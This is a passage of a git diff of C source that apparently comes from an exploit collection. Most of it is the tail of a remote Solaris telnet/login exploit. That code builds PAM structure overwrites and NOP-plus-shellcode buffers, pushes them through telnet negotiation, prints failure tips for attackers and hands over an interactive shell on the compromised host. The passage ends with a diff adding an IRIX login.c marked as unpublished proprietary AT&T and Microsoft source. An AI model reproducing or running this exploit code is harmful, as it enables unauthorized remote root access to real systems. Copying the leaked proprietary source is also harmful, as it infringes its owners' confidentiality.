| 511 | exploit_pam (unsigned char *ww) | ||
| 512 | { | ||
| 513 | unsigned int n; | ||
| 514 | unsigned char * wwo = ww; | ||
| 515 | unsigned long no_nul_addr; | ||
| 516 | |||
| 517 | |||
| 518 | /* we need to set pam_user to a string != "\0" (else we have some | ||
| 519 | * side effects in the malloc functions/strdup, don't ask). hence we | ||
| 520 | * use the same address as we used for retaddr, as there is no NUL | ||
| 521 | * byte for sure. | ||
| 522 | */ | ||
| 523 | no_nul_addr = tgt->args - 0x0800 + (64 * 2) + 0x340 | ||
| 524 | - 24 ; /* - 24 = shellcode_len / 2, padded up to next %4=0 */ | ||
| 525 | |||
| 526 | /* add pam_item ps_item[PAM_MAX_ITEMS] structures */ | ||
| 527 | for (n = 0 ; n < PAM_USER + 1 ; ++n) { | ||
| 528 | if (n == PAM_USER) { | ||
| 529 | ww += exploit_addptr (ww, no_nul_addr); | ||
| 530 | ww += exploit_addptr (ww, 0x00000001); | ||
| 531 | } else { | ||
| 532 | ww += exploit_addchars (ww, '\x00', 8); | ||
| 533 | } | ||
| 534 | } | ||
| 535 | |||
| 536 | return (ww - wwo); | ||
| 537 | } | ||
| 538 | |||
| 539 | |||
| 540 | /* exploit_nopscode | ||
| 541 | * | ||
| 542 | * create a nop + shellcode space of `playsize' bytes in raw length. | ||
| 543 | * then encode buffer to `ww'. the output buffer must have the size | ||
| 544 | * of `playsize', so padding is our duty (not the space though). | ||
| 545 | * | ||
| 546 | * return length of encoded output (can be larger than playsize) | ||
| 547 | */ | ||
| 548 | |||
| 549 | unsigned int | ||
| 550 | exploit_nopscode (unsigned char *ww, unsigned long playsize) | ||
| 551 | { | ||
| 552 | unsigned int scw; /* shellcode walker */ | ||
| 553 | unsigned char * wwo = ww; | ||
| 554 | unsigned char * cbuf = calloc (1, playsize); | ||
| 555 | unsigned long int sizepad = playsize & ~3; | ||
| 556 | |||
| 557 | |||
| 558 | /* what we do not overwrite is padding | ||
| 559 | */ | ||
| 560 | memset (cbuf, 'P', playsize); | ||
| 561 | if (sizepad < tgt->shellcode_len) { | ||
| 562 | fprintf (stderr, "no room to store shellcode (%lu bytes " | ||
| 563 | "given, %u needed)\n", sizepad, tgt->shellcode_len); | ||
| 564 | |||
| 565 | exit (EXIT_FAILURE); | ||
| 566 | } | ||
| 567 | sizepad -= tgt->shellcode_len; | ||
| 568 | |||
| 569 | for (scw = 0 ; scw < sizepad ; scw += 4) | ||
| 570 | memcpy (&cbuf[scw], tgt->shellcode_nop, 4); | ||
| 571 | memcpy (&cbuf[sizepad], tgt->shellcode, tgt->shellcode_len); | ||
| 572 | |||
| 573 | /* encode to output | ||
| 574 | */ | ||
| 575 | ww += exploit_addbuf (ww, cbuf, playsize); | ||
| 576 | |||
| 577 | if (verbose >= 2) | ||
| 578 | hexdump ("CODE-BUFFER", cbuf, playsize); | ||
| 579 | |||
| 580 | free (cbuf); | ||
| 581 | |||
| 582 | return (ww - wwo); | ||
| 583 | } | ||
| 584 | |||
| 585 | |||
| 586 | unsigned int | ||
| 587 | exploit_addstring (unsigned char *ww, unsigned char *str) | ||
| 588 | { | ||
| 589 | unsigned char * wwo = ww; | ||
| 590 | |||
| 591 | ww += exploit_addbuf (ww, str, strlen (str)); | ||
| 592 | |||
| 593 | return (ww - wwo); | ||
| 594 | } | ||
| 595 | |||
| 596 | |||
| 597 | unsigned int | ||
| 598 | exploit_addbuf (unsigned char *ww, unsigned char *buf, unsigned int buf_len) | ||
| 599 | { | ||
| 600 | unsigned char * wwo = ww; | ||
| 601 | |||
| 602 | for ( ; buf_len > 0 ; ++buf, --buf_len) | ||
| 603 | ww += exploit_addchar (ww, *buf); | ||
| 604 | |||
| 605 | return (ww - wwo); | ||
| 606 | } | ||
| 607 | |||
| 608 | |||
| 609 | unsigned int | ||
| 610 | exploit_addbufquot (unsigned char *ww, unsigned char *buf, | ||
| 611 | unsigned int buf_len) | ||
| 612 | { | ||
| 613 | unsigned char wc; | ||
| 614 | unsigned char * wwo; | ||
| 615 | |||
| 616 | for (wwo = ww ; buf_len > 0 ; --buf_len, ++buf) { | ||
| 617 | wc = *buf; | ||
| 618 | |||
| 619 | *ww++ = '\\'; | ||
| 620 | *ww++ = ((wc & 0300) >> 6) + '0'; | ||
| 621 | *ww++ = ((wc & 0070) >> 3) + '0'; | ||
| 622 | *ww++ = (wc & 0007) + '0'; | ||
| 623 | envcount += 1; | ||
| 624 | } | ||
| 625 | |||
| 626 | return (ww - wwo); | ||
| 627 | } | ||
| 628 | |||
| 629 | |||
| 630 | unsigned int | ||
| 631 | exploit_addchars (unsigned char *ww, unsigned char wc, unsigned int count) | ||
| 632 | { | ||
| 633 | unsigned char * wwo; | ||
| 634 | |||
| 635 | for (wwo = ww ; count > 0 ; --count) { | ||
| 636 | ww += exploit_addchar (ww, wc); | ||
| 637 | } | ||
| 638 | |||
| 639 | return (ww - wwo); | ||
| 640 | } | ||
| 641 | |||
| 642 | |||
| 643 | unsigned int | ||
| 644 | exploit_addraw (unsigned char *ww, unsigned char wc) | ||
| 645 | { | ||
| 646 | if (wc == '\x20' || *ww == '\x09') | ||
| 647 | envcount += 1; | ||
| 648 | |||
| 649 | *ww = wc; | ||
| 650 | |||
| 651 | return (1); | ||
| 652 | } | ||
| 653 | |||
| 654 | |||
| 655 | unsigned int | ||
| 656 | exploit_addchar (unsigned char *ww, unsigned char wc) | ||
| 657 | { | ||
| 658 | unsigned char * wwo = ww; | ||
| 659 | |||
| 660 | switch (wc) { | ||
| 661 | case ('\\'): | ||
| 662 | *ww++ = '\\'; | ||
| 663 | *ww++ = '\\'; | ||
| 664 | break; | ||
| 665 | case (0xff): | ||
| 666 | case ('\n'): | ||
| 667 | case (' '): | ||
| 668 | case ('\t'): | ||
| 669 | *ww++ = '\\'; | ||
| 670 | *ww++ = ((wc & 0300) >> 6) + '0'; | ||
| 671 | *ww++ = ((wc & 0070) >> 3) + '0'; | ||
| 672 | *ww++ = (wc & 0007) + '0'; | ||
| 673 | break; | ||
| 674 | default: | ||
| 675 | *ww++ = wc; | ||
| 676 | break; | ||
| 677 | } | ||
| 678 | |||
| 679 | envcount += 1; | ||
| 680 | |||
| 681 | return (ww - wwo); | ||
| 682 | } | ||
| 683 | |||
| 684 | |||
| 685 | unsigned int | ||
| 686 | exploit_addptrs (unsigned char *ww, unsigned long int ptr, unsigned int count) | ||
| 687 | { | ||
| 688 | unsigned char * wwo; | ||
| 689 | |||
| 690 | for (wwo = ww ; count > 0 ; --count) { | ||
| 691 | ww += exploit_addptr (ww, ptr); | ||
| 692 | } | ||
| 693 | |||
| 694 | return (ww - wwo); | ||
| 695 | } | ||
| 696 | |||
| 697 | |||
| 698 | unsigned int | ||
| 699 | exploit_addptr (unsigned char *ww, unsigned long int ptr) | ||
| 700 | { | ||
| 701 | unsigned char * wwo = ww; | ||
| 702 | |||
| 703 | if (tgt->endianess == 0) { | ||
| 704 | /* big endian */ | ||
| 705 | ww += exploit_addchar (ww, (ptr >> 24) & 0xff); | ||
| 706 | ww += exploit_addchar (ww, (ptr >> 16) & 0xff); | ||
| 707 | ww += exploit_addchar (ww, (ptr >> 8) & 0xff); | ||
| 708 | ww += exploit_addchar (ww, ptr & 0xff); | ||
| 709 | } else if (tgt->endianess == 1) { | ||
| 710 | /* little endian */ | ||
| 711 | ww += exploit_addchar (ww, ptr & 0xff); | ||
| 712 | ww += exploit_addchar (ww, (ptr >> 8) & 0xff); | ||
| 713 | ww += exploit_addchar (ww, (ptr >> 16) & 0xff); | ||
| 714 | ww += exploit_addchar (ww, (ptr >> 24) & 0xff); | ||
| 715 | } | ||
| 716 | |||
| 717 | return (ww - wwo); | ||
| 718 | } | ||
| 719 | |||
| 720 | |||
| 721 | /* telnet_prompt | ||
| 722 | * | ||
| 723 | * loop in telnet i/o until a prompt appears, given by `prompt' parameter | ||
| 724 | * else behave as telnet_read would | ||
| 725 | */ | ||
| 726 | |||
| 727 | ssize_t | ||
| 728 | telnet_prompt (int fd, unsigned char *inbuf, unsigned int inbufsize, | ||
| 729 | char *prompt) | ||
| 730 | { | ||
| 731 | ssize_t rtemp; | ||
| 732 | |||
| 733 | |||
| 734 | do { | ||
| 735 | rtemp = telnet_read (fd, inbuf, inbufsize); | ||
| 736 | if (rtemp == 0) { | ||
| 737 | if (xp_final == 0) { | ||
| 738 | fprintf (stderr, "failed telnet_prompt.\n"); | ||
| 739 | } else { | ||
| 740 | fprintf (stderr, "\nfailed exploitation. possible causes:\n" | ||
| 741 | "# 1. login patched\n" | ||
| 742 | "# 2. wrong target type (sparc|x86)\n" | ||
| 743 | "# 3. weird/no solaris version <= 2.4\n" | ||
| 744 | "# 4. TTYPROMPT weirdness, try again with -T option\n" | ||
| 745 | "# 5. try with -p -v options\n\n" | ||
| 746 | "good luck.\n"); | ||
| 747 | } | ||
| 748 | |||
| 749 | exit (EXIT_FAILURE); | ||
| 750 | } | ||
| 751 | |||
| 752 | if (verbose >= 2) { | ||
| 753 | fprintf (stderr, "rbuf: "); | ||
| 754 | write (2, inbuf, rtemp); | ||
| 755 | } | ||
| 756 | } while (ttyp == 0 && binstrstr (inbuf, rtemp, prompt) == NULL); | ||
| 757 | |||
| 758 | return (rtemp); | ||
| 759 | } | ||
| 760 | |||
| 761 | |||
| 762 | unsigned char * | ||
| 763 | binstrstr (unsigned char *binary, unsigned int bin_len, unsigned char *str) | ||
| 764 | { | ||
| 765 | if (bin_len < strlen (str)) | ||
| 766 | return (NULL); | ||
| 767 | |||
| 768 | while (binary <= (binary + bin_len - strlen (str))) { | ||
| 769 | if (memcmp (binary, str, strlen (str)) == 0) | ||
| 770 | return (binary); | ||
| 771 | |||
| 772 | binary += 1; | ||
| 773 | bin_len -= 1; | ||
| 774 | } | ||
| 775 | |||
| 776 | return (NULL); | ||
| 777 | } | ||
| 778 | |||
| 779 | |||
| 780 | /* telnet_read | ||
| 781 | * | ||
| 782 | * read() function that takes care of all the telnet option negotiation crap | ||
| 783 | * | ||
| 784 | * return value just like read() | ||
| 785 | */ | ||
| 786 | |||
| 787 | ssize_t | ||
| 788 | telnet_read (int fd, unsigned char *inbuf, unsigned int inbufsize) | ||
| 789 | { | ||
| 790 | ssize_t rc = 1; | ||
| 791 | int idleflag, | ||
| 792 | atecount = 1; | ||
| 793 | |||
| 794 | |||
| 795 | while (atecount != 0 && (idleflag = net_rtimeout (fd, 15)) == 1) { | ||
| 796 | rc = read (fd, inbuf, inbufsize); | ||
| 797 | if (verbose && rc > 0) | ||
| 798 | hexdump ("from wire", inbuf, rc); | ||
| 799 | atecount = telnet_eatall (fd, inbuf, rc); | ||
| 800 | rc -= atecount; | ||
| 801 | if (verbose && rc > 0) | ||
| 802 | hexdump ("after processing", inbuf, rc); | ||
| 803 | if (rc > 0) | ||
| 804 | return (rc); | ||
| 805 | } | ||
| 806 | |||
| 807 | fprintf (stderr, "# telnetd either died or invalid response\n"); | ||
| 808 | |||
| 809 | return (rc); | ||
| 810 | } | ||
| 811 | |||
| 812 | |||
| 813 | /* telnet_eatall | ||
| 814 | * | ||
| 815 | * eat all telnet negotiation stuff and answer it, so we get through. | ||
| 816 | * basically copied 1:1 from netcat. | ||
| 817 | */ | ||
| 818 | |||
| 819 | int | ||
| 820 | telnet_eatall (int fd, unsigned char *inbuf, unsigned int inbuf_len) | ||
| 821 | { | ||
| 822 | int eat; | ||
| 823 | int changed; | ||
| 824 | |||
| 825 | |||
| 826 | for (eat = 0 ; inbuf_len > 2 ; ++inbuf, --inbuf_len) { | ||
| 827 | changed = 0; | ||
| 828 | |||
| 829 | if (inbuf[0] != IAC || inbuf_len < 2) | ||
| 830 | continue; | ||
| 831 | |||
| 832 | if (inbuf[1] == WILL && inbuf[2] == TELOPT_SGA) { | ||
| 833 | inbuf[1] = DO; /* IAC WILL SUPPRESSGOAHEAD, DO IT! */ | ||
| 834 | changed = 1; | ||
| 835 | } else if (inbuf[1] == WILL && inbuf[2] == TELOPT_ECHO) { | ||
| 836 | inbuf[1] = DO; /* IAC WILL ECHO, DO IT! */ | ||
| 837 | changed = 1; | ||
| 838 | } else | ||
| 839 | if (inbuf[1] == WILL || inbuf[1] == WONT) { | ||
| 840 | inbuf[1] = DONT; | ||
| 841 | changed = 1; | ||
| 842 | } else if (inbuf[1] == DO || inbuf[1] == DONT) { | ||
| 843 | inbuf[1] = WONT; | ||
| 844 | changed = 1; | ||
| 845 | } | ||
| 846 | if (changed) | ||
| 847 | write (fd, inbuf, 3); | ||
| 848 | |||
| 849 | if (inbuf_len > 3) | ||
| 850 | memmove (&inbuf[0], &inbuf[3], inbuf_len - 3); | ||
| 851 | |||
| 852 | --inbuf; | ||
| 853 | inbuf_len -= 2; | ||
| 854 | eat += 3; | ||
| 855 | } | ||
| 856 | |||
| 857 | return (eat); | ||
| 858 | } | ||
| 859 | |||
| 860 | |||
| 861 | void | ||
| 862 | telnet_send (int fd, unsigned char type, unsigned char option) | ||
| 863 | { | ||
| 864 | unsigned char buf[3]; | ||
| 865 | |||
| 866 | buf[0] = IAC; | ||
| 867 | buf[1] = type; | ||
| 868 | buf[2] = option; | ||
| 869 | |||
| 870 | write (fd, buf, sizeof (buf)); | ||
| 871 | } | ||
| 872 | |||
| 873 | |||
| 874 | void | ||
| 875 | tgt_list (void) | ||
| 876 | { | ||
| 877 | int tgt_num; | ||
| 878 | |||
| 879 | |||
| 880 | printf ("num . description\n"); | ||
| 881 | printf ("----+-----------------------------------------------" | ||
| 882 | "--------\n"); | ||
| 883 | |||
| 884 | for (tgt_num = 0 ; targets[tgt_num].desc != NULL ; ++tgt_num) { | ||
| 885 | printf ("%3d | %s\n", tgt_num + 1, targets[tgt_num].desc); | ||
| 886 | |||
| 887 | if (verbose) | ||
| 888 | printf (" : 0x%08lx\n", targets[tgt_num].args); | ||
| 889 | } | ||
| 890 | printf (" '\n"); | ||
| 891 | |||
| 892 | return; | ||
| 893 | } | ||
| 894 | |||
| 895 | |||
| 896 | void | ||
| 897 | shell (int sock) | ||
| 898 | { | ||
| 899 | int l; | ||
| 900 | char buf[512]; | ||
| 901 | fd_set rfds; | ||
| 902 | |||
| 903 | |||
| 904 | while (1) { | ||
| 905 | FD_SET (0, &rfds); | ||
| 906 | FD_SET (sock, &rfds); | ||
| 907 | |||
| 908 | select (sock + 1, &rfds, NULL, NULL, NULL); | ||
| 909 | if (FD_ISSET (0, &rfds)) { | ||
| 910 | l = read (0, buf, sizeof (buf)); | ||
| 911 | if (l <= 0) { | ||
| 912 | perror ("read user"); | ||
| 913 | exit (EXIT_FAILURE); | ||
| 914 | } | ||
| 915 | write (sock, buf, l); | ||
| 916 | } | ||
| 917 | |||
| 918 | if (FD_ISSET (sock, &rfds)) { | ||
| 919 | l = telnet_read (sock, buf, sizeof (buf)); | ||
| 920 | if (l <= 0) { | ||
| 921 | perror ("read remote"); | ||
| 922 | exit (EXIT_FAILURE); | ||
| 923 | } | ||
| 924 | write (1, buf, l); | ||
| 925 | } | ||
| 926 | } | ||
| 927 | } | ||
| 928 | |||
| 929 | |||
| 930 | /* ripped from zodiac */ | ||
| 931 | void | ||
| 932 | hexdump (char *desc, unsigned char *data, unsigned int amount) | ||
| 933 | { | ||
| 934 | unsigned int dp, p; /* data pointer */ | ||
| 935 | const char trans[] = | ||
| 936 | "................................ !\"#$%&'()*+,-./0123456789" | ||
| 937 | ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm" | ||
| 938 | "nopqrstuvwxyz{|}~...................................." | ||
| 939 | "....................................................." | ||
| 940 | "........................................"; | ||
| 941 | |||
| 942 | |||
| 943 | printf ("/* %s, %u bytes */\n", desc, amount); | ||
| 944 | |||
| 945 | for (dp = 1; dp <= amount; dp++) { | ||
| 946 | fprintf (stderr, "%02x ", data[dp-1]); | ||
| 947 | if ((dp % 8) == 0) | ||
| 948 | fprintf (stderr, " "); | ||
| 949 | if ((dp % 16) == 0) { | ||
| 950 | fprintf (stderr, "| "); | ||
| 951 | p = dp; | ||
| 952 | for (dp -= 16; dp < p; dp++) | ||
| 953 | fprintf (stderr, "%c", trans[data[dp]]); | ||
| 954 | fflush (stderr); | ||
| 955 | fprintf (stderr, "\n"); | ||
| 956 | } | ||
| 957 | fflush (stderr); | ||
| 958 | } | ||
| 959 | if ((amount % 16) != 0) { | ||
| 960 | p = dp = 16 - (amount % 16); | ||
| 961 | for (dp = p; dp > 0; dp--) { | ||
| 962 | fprintf (stderr, " "); | ||
| 963 | if (((dp % 8) == 0) && (p != 8)) | ||
| 964 | fprintf (stderr, " "); | ||
| 965 | fflush (stderr); | ||
| 966 | } | ||
| 967 | fprintf (stderr, " | "); | ||
| 968 | for (dp = (amount - (16 - p)); dp < amount; dp++) | ||
| 969 | fprintf (stderr, "%c", trans[data[dp]]); | ||
| 970 | fflush (stderr); | ||
| 971 | } | ||
| 972 | fprintf (stderr, "\n"); | ||
| 973 | |||
| 974 | return; | ||
| 975 | } | ||
| 976 | |||
| 977 | |||
| 978 | |||
| 979 | unsigned long int | ||
| 980 | net_resolve (char *host) | ||
| 981 | { | ||
| 982 | long i; | ||
| 983 | struct hostent *he; | ||
| 984 | |||
| 985 | i = inet_addr(host); | ||
| 986 | if (i == -1) { | ||
| 987 | he = gethostbyname(host); | ||
| 988 | if (he == NULL) { | ||
| 989 | return (0); | ||
| 990 | } else { | ||
| 991 | return (*(unsigned long *) he->h_addr); | ||
| 992 | } | ||
| 993 | } | ||
| 994 | return (i); | ||
| 995 | } | ||
| 996 | |||
| 997 | |||
| 998 | int | ||
| 999 | net_connect (struct sockaddr_in *cs, char *server, | ||
| 1000 | unsigned short int port, int sec) | ||
| 1001 | { | ||
| 1002 | int n, | ||
| 1003 | len, | ||
| 1004 | error, | ||
| 1005 | flags; | ||
| 1006 | int fd; | ||
| 1007 | struct timeval tv; | ||
| 1008 | fd_set rset, wset; | ||
| 1009 | struct sockaddr_in csa; | ||
| 1010 | |||
| 1011 | if (cs == NULL) | ||
| 1012 | cs = &csa; | ||
| 1013 | |||
| 1014 | /* first allocate a socket */ | ||
| 1015 | cs->sin_family = AF_INET; | ||
| 1016 | cs->sin_port = htons (port); | ||
| 1017 | fd = socket (cs->sin_family, SOCK_STREAM, 0); | ||
| 1018 | if (fd == -1) | ||
| 1019 | return (-1); | ||
| 1020 | |||
| 1021 | if (!(cs->sin_addr.s_addr = net_resolve (server))) { | ||
| 1022 | close (fd); | ||
| 1023 | return (-1); | ||
| 1024 | } | ||
| 1025 | |||
| 1026 | flags = fcntl (fd, F_GETFL, 0); | ||
| 1027 | if (flags == -1) { | ||
| 1028 | close (fd); | ||
| 1029 | return (-1); | ||
| 1030 | } | ||
| 1031 | n = fcntl (fd, F_SETFL, flags | O_NONBLOCK); | ||
| 1032 | if (n == -1) { | ||
| 1033 | close (fd); | ||
| 1034 | return (-1); | ||
| 1035 | } | ||
| 1036 | |||
| 1037 | error = 0; | ||
| 1038 | |||
| 1039 | n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in)); | ||
| 1040 | if (n < 0) { | ||
| 1041 | if (errno != EINPROGRESS) { | ||
| 1042 | close (fd); | ||
| 1043 | return (-1); | ||
| 1044 | } | ||
| 1045 | } | ||
| 1046 | if (n == 0) | ||
| 1047 | goto done; | ||
| 1048 | |||
| 1049 | FD_ZERO(&rset); | ||
| 1050 | FD_ZERO(&wset); | ||
| 1051 | FD_SET(fd, &rset); | ||
| 1052 | FD_SET(fd, &wset); | ||
| 1053 | tv.tv_sec = sec; | ||
| 1054 | tv.tv_usec = 0; | ||
| 1055 | |||
| 1056 | n = select(fd + 1, &rset, &wset, NULL, &tv); | ||
| 1057 | if (n == 0) { | ||
| 1058 | close(fd); | ||
| 1059 | errno = ETIMEDOUT; | ||
| 1060 | return (-1); | ||
| 1061 | } | ||
| 1062 | if (n == -1) | ||
| 1063 | return (-1); | ||
| 1064 | |||
| 1065 | if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) { | ||
| 1066 | if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) { | ||
| 1067 | len = sizeof(error); | ||
| 1068 | if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) { | ||
| 1069 | errno = ETIMEDOUT; | ||
| 1070 | return (-1); | ||
| 1071 | } | ||
| 1072 | if (error == 0) { | ||
| 1073 | goto done; | ||
| 1074 | } else { | ||
| 1075 | errno = error; | ||
| 1076 | return (-1); | ||
| 1077 | } | ||
| 1078 | } | ||
| 1079 | } else | ||
| 1080 | return (-1); | ||
| 1081 | |||
| 1082 | done: | ||
| 1083 | n = fcntl(fd, F_SETFL, flags); | ||
| 1084 | if (n == -1) | ||
| 1085 | return (-1); | ||
| 1086 | return (fd); | ||
| 1087 | } | ||
| 1088 | |||
| 1089 | |||
| 1090 | int | ||
| 1091 | net_rtimeout (int fd, int sec) | ||
| 1092 | { | ||
| 1093 | fd_set rset; | ||
| 1094 | struct timeval tv; | ||
| 1095 | int n, error, flags; | ||
| 1096 | |||
| 1097 | error = 0; | ||
| 1098 | flags = fcntl(fd, F_GETFL, 0); | ||
| 1099 | n = fcntl(fd, F_SETFL, flags | O_NONBLOCK); | ||
| 1100 | if (n == -1) | ||
| 1101 | return (-1); | ||
| 1102 | |||
| 1103 | FD_ZERO(&rset); | ||
| 1104 | FD_SET(fd, &rset); | ||
| 1105 | tv.tv_sec = sec; | ||
| 1106 | tv.tv_usec = 0; | ||
| 1107 | |||
| 1108 | /* now we wait until more data is received then the tcp low level watermark, | ||
| 1109 | * which should be setted to 1 in this case (1 is default) | ||
| 1110 | */ | ||
| 1111 | |||
| 1112 | n = select(fd + 1, &rset, NULL, NULL, &tv); | ||
| 1113 | if (n == 0) { | ||
| 1114 | n = fcntl(fd, F_SETFL, flags); | ||
| 1115 | if (n == -1) | ||
| 1116 | return (-1); | ||
| 1117 | errno = ETIMEDOUT; | ||
| 1118 | return (-1); | ||
| 1119 | } | ||
| 1120 | if (n == -1) { | ||
| 1121 | return (-1); | ||
| 1122 | } | ||
| 1123 | /* socket readable ? */ | ||
| 1124 | if (FD_ISSET(fd, &rset)) { | ||
| 1125 | n = fcntl(fd, F_SETFL, flags); | ||
| 1126 | if (n == -1) | ||
| 1127 | return (-1); | ||
| 1128 | return (1); | ||
| 1129 | } else { | ||
| 1130 | n = fcntl(fd, F_SETFL, flags); | ||
| 1131 | if (n == -1) | ||
| 1132 | return (-1); | ||
| 1133 | errno = ETIMEDOUT; | ||
| 1134 | return (-1); | ||
| 1135 | } | ||
| 1136 | } | ||
| 1137 | |||
| 1138 | |||
| 1139 | int | ||
| 1140 | nwrite (int fd, unsigned char *ptr, unsigned int len) | ||
| 1141 | { | ||
| 1142 | ssize_t retval, | ||
| 1143 | nwr = 0; | ||
| 1144 | int ff_count, | ||
| 1145 | pw, tw; | ||
| 1146 | unsigned char * sbuf; | ||
| 1147 | |||
| 1148 | |||
| 1149 | for (ff_count = 0, sbuf = ptr ; sbuf < &ptr[len] ; ++sbuf) | ||
| 1150 | if (*sbuf == 0xff) | ||
| 1151 | ff_count++; | ||
| 1152 | |||
| 1153 | sbuf = malloc (len + ff_count); | ||
| 1154 | for (pw = tw = 0 ; pw < len ; ++pw, ++tw) { | ||
| 1155 | sbuf[tw] = ptr[pw]; | ||
| 1156 | if (ptr[pw] == 0xff) | ||
| 1157 | sbuf[++tw] = ptr[pw]; | ||
| 1158 | } | ||
| 1159 | ptr = sbuf; | ||
| 1160 | len = tw; | ||
| 1161 | |||
| 1162 | if (verbose) | ||
| 1163 | hexdump ("to wire", ptr, len); | ||
| 1164 | |||
| 1165 | while (len > 0) { | ||
| 1166 | telnet_send (fd, WONT, TELOPT_BINARY); | ||
| 1167 | telnet_send (fd, WILL, TELOPT_BINARY); | ||
| 1168 | fprintf (stderr, "#"); | ||
| 1169 | usleep (1000000); | ||
| 1170 | |||
| 1171 | retval = write (fd, ptr, len > 0x100 ? 0x100 : len); | ||
| 1172 | if (retval <= 0) | ||
| 1173 | return (retval); | ||
| 1174 | if (verbose >= 2) { | ||
| 1175 | fprintf (stderr, "first,second: %02x %02x " | ||
| 1176 | "2last,last: %02x %02x\n", | ||
| 1177 | ptr[0], ptr[1], | ||
| 1178 | ptr[retval - 2], ptr[retval - 1]); | ||
| 1179 | } | ||
| 1180 | |||
| 1181 | ptr += retval; | ||
| 1182 | len -= retval; | ||
| 1183 | nwr += retval; | ||
| 1184 | } | ||
| 1185 | |||
| 1186 | fprintf (stderr, "\n"); | ||
| 1187 | return (nwr); | ||
| 1188 | } | ||
| 1189 | |||
diff --git a/exploits/7350logout/irix-6.5-login.c b/exploits/7350logout/irix-6.5-login.c new file mode 100644 index 0000000..6f39079 --- /dev/null +++ b/exploits/7350logout/irix-6.5-login.c | |||
| @@ -0,0 +1,3867 @@ | |||
| 1 | /* Copyright (c) 1990, 1991 UNIX System Laboratories, Inc. */ | ||
| 2 | /* Copyright (c) 1984, 1986, 1987, 1988, 1989, 1990 AT&T */ | ||
| 3 | /* All Rights Reserved */ | ||
| 4 | |||
| 5 | /* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF */ | ||
| 6 | /* UNIX System Laboratories, Inc. */ | ||
| 7 | /* The copyright notice above does not evidence any */ | ||
| 8 | /* actual or intended publication of such source code. */ | ||
| 9 | |||
| 10 | #ident "@(#)login:login.c 1.43.6.83" | ||
| 11 | |||
| 12 | /* Copyright (c) 1987, 1988 Microsoft Corporation */ | ||
| 13 | /* All Rights Reserved */ | ||
| 14 | |||
| 15 | /* This Module contains Proprietary Information of Microsoft */ | ||
| 16 | /* Corporation and should be treated as Confidential. */ | ||
| 17 | |||
| 18 | /*************************************************************************** | ||
| 19 | * Command: login | ||
| 20 | * | ||
| 21 | * Usage: login [[-p] name [env-var ... ]] | ||
| 22 | * | ||
| 23 | * | ||
| 24 | * Files: /etc/utmp | ||
| 25 | * /etc/wtmp | ||
| 26 | * /etc/dialups | ||
| 27 | * /etc/d_passwd | ||
| 28 | * /var/adm/lastlog | ||
| 29 | * /var/adm/loginlog | ||
| 30 | * /etc/default/login | ||
| 31 | * | ||
| 32 | * Notes: Conditional assemblies: | ||
| 33 | * NO_MAIL causes the MAIL environment variable not to be set | ||
| 34 | * specified by CONSOLE. CONSOLE MUST NOT be defined as | ||
| 35 | * either "/dev/syscon" or "/dev/systty"!! | ||
| 36 | * MAXTRYS is the number of attempts permitted. 0 is "no limit". | ||
| 37 | * AUX_SECURITY enables authentication through external programs | ||
| 38 | * instead of encrypted passwords. | ||
| 39 | ***************************************************************************/ | ||
| 40 | /* LINTLIBRARY */ | ||
| 41 | #include <sys/types.h> | ||
| 42 | #include <utmpx.h> | ||
| 43 | #include <signal.h> | ||
| 44 | #include <pwd.h> | ||
| 45 | #include <ctype.h> | ||
| 46 | #include <syslog.h> | ||
| 47 | #include <proj.h> | ||
| 48 | #include <stdio.h> | ||
| 49 | #include <fcntl.h> | ||
| 50 | #include <unistd.h> /* For logfile locking */ | ||
| 51 | #include <string.h> | ||
| 52 | #include <sys/stat.h> | ||
| 53 | #include <dirent.h> | ||
| 54 | #include <sys/utsname.h> | ||
| 55 | #include <utime.h> | ||
| 56 | #include <termio.h> | ||
| 57 | #include <sys/stropts.h> | ||
| 58 | #include <shadow.h> /* shadow password header file */ | ||
| 59 | #include <time.h> | ||
| 60 | #include <sys/param.h> | ||
| 61 | #include <sys/fcntl.h> | ||
| 62 | #include <deflt.h> | ||
| 63 | #include <grp.h> | ||
| 64 | #include <ia.h> | ||
| 65 | #include <libgen.h> | ||
| 66 | #include <stdlib.h> | ||
| 67 | #include <sat.h> | ||
| 68 | #include <mls.h> | ||
| 69 | #include <sys/mac.h> | ||
| 70 | #include <sys/capability.h> | ||
| 71 | #include <capability.h> | ||
| 72 | #include <sys/file.h> /* for flock in update_count() */ | ||
| 73 | |||
| 74 | #include <errno.h> | ||
| 75 | #include <lastlog.h> | ||
| 76 | #include <locale.h> | ||
| 77 | #include <pfmt.h> | ||
| 78 | #include <sys/stream.h> | ||
| 79 | #include <paths.h> | ||
| 80 | #include <sys/quota.h> | ||
| 81 | #include <sys/syslog.h> | ||
| 82 | #include <sys/wait.h> | ||
| 83 | #include <di_aux.h> | ||
| 84 | #include <limits.h> | ||
| 85 | |||
| 86 | #if defined(_SHAREII) || defined(DCE) | ||
| 87 | #include <dlfcn.h> | ||
| 88 | #endif /* defined(_SHAREII) || defined(DCE) */ | ||
| 89 | #ifdef _SHAREII | ||
| 90 | #include <shareIIhooks.h> | ||
| 91 | SH_DECLARE_HOOK(SETMYNAME); | ||
| 92 | SH_DECLARE_HOOK(LOGIN); | ||
| 93 | #endif /* _SHAREII */ | ||
| 94 | |||
| 95 | #define LANG_FILE "/.lang" /* default lang file */ | ||
| 96 | #define TZ_FILE "/.timezone" /* default timezone file */ | ||
| 97 | |||
| 98 | #ifdef AUX_SECURITY | ||
| 99 | |||
| 100 | #define SITE_OK 0 | ||
| 101 | #define SITE_FAIL 1 | ||
| 102 | #define SITE_AGAIN 2 | ||
| 103 | #define SITE_CONTINUE 3 | ||
| 104 | |||
| 105 | #endif /* AUX_SECURITY */ | ||
| 106 | |||
| 107 | /* | ||
| 108 | * Lastlog structure from 4.0 release. | ||
| 109 | */ | ||
| 110 | struct lastlog4 { | ||
| 111 | int ll_status; /* boolean to indicate login success | ||
| 112 | * or failure. */ | ||
| 113 | time_t ll_time; | ||
| 114 | char ll_line[12]; /* if local: tty name, | ||
| 115 | * if rlogin: remote user name. */ | ||
| 116 | char ll_host[64]; | ||
| 117 | }; | ||
| 118 | |||
| 119 | /* | ||
| 120 | * Lastlog structure from 5.0 alpha releases. | ||
| 121 | */ | ||
| 122 | struct lastlog5a { | ||
